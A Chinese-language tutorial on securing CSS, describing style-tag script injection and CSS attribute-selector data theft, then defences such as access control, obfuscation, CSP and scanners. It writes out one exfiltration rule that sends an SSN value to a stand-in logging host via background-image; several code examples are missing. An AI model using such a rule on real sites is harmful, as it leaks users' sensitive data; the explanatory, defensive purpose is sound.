📜  如何保护级联样式表?

📅  最后修改于: 2021-08-30 12:04:28             🧑  作者: Mango

在学习如何保护级联样式表之前,让我们首先探讨通过级联样式表会造成哪些威胁。

威胁 1:假设我们在代码中使用了嵌入式/内部 CSS 并且您允许用户进行一些 CSS 自定义,那么攻击者有可能通过关闭可自定义的内部 CSS 中的样式标记来注入 JavaScript 代码.

请参阅以下代码段以更好地理解。
代码片段:


攻击者可以通过关闭样式标签并添加脚本标签来添加恶意 JavaScript 代码,如下所示。




这种情况发生在极少数情况下,因为用户可能无法始终灵活地自定义级联样式表。

威胁 2:假设您登录到一个网站并且该网站显示了一些敏感信息,例如社会安全号码 (ssn),那么攻击者有可能
可以通过使用 CSS 属性选择器来获取这些敏感信息。

代码:

input#ssn[value="999-888-777"] { 
    background-image: url(
"https://secret-site.com/logger.php?ssn=999-888-777");
}

如何保护级联样式表?

  1. 适当的访问控制级别:让 CSS 远离访问控制级别。术语“访问控制级别”意味着普通用户将拥有不同的 CSS 文件,而管理员拥有不同的 CSS 文件。应适当注意那些只有具有适当访问控制级别或身份验证的用户才能访问的相应 CSS 文件。

  2. CSS Obfuscation:CSS Obfuscation的方法是让攻击者不清楚或混淆 CSS。 CSS 混淆可以通过使用以下网站来完成。

    http://cssobfuscator.com/
    https://www.uglifycss.com/
  3. 实施内容安全策略 (CSP):内容安全策略 (CSP) 有助于检测多种类型的攻击,例如数据注入攻击和跨站点脚本 (XSS)。通过这种方式,可以为数据盗窃、恶意软件分发以及将您自己的内容替换到一些被盗网站提供额外的安全保护。

    您可以使用如下所示的元标记配置 CSP。

    
    
  4. 使用漏洞扫描器扫描网站:使用漏洞扫描器扫描您的网站是最佳实践,这些扫描器不仅可以检测 CSS 或 XSS 注入,还会显示您网站中其他可能的漏洞。

    一些在线漏洞扫描程序是

    这些是保护级联样式表的一些技术。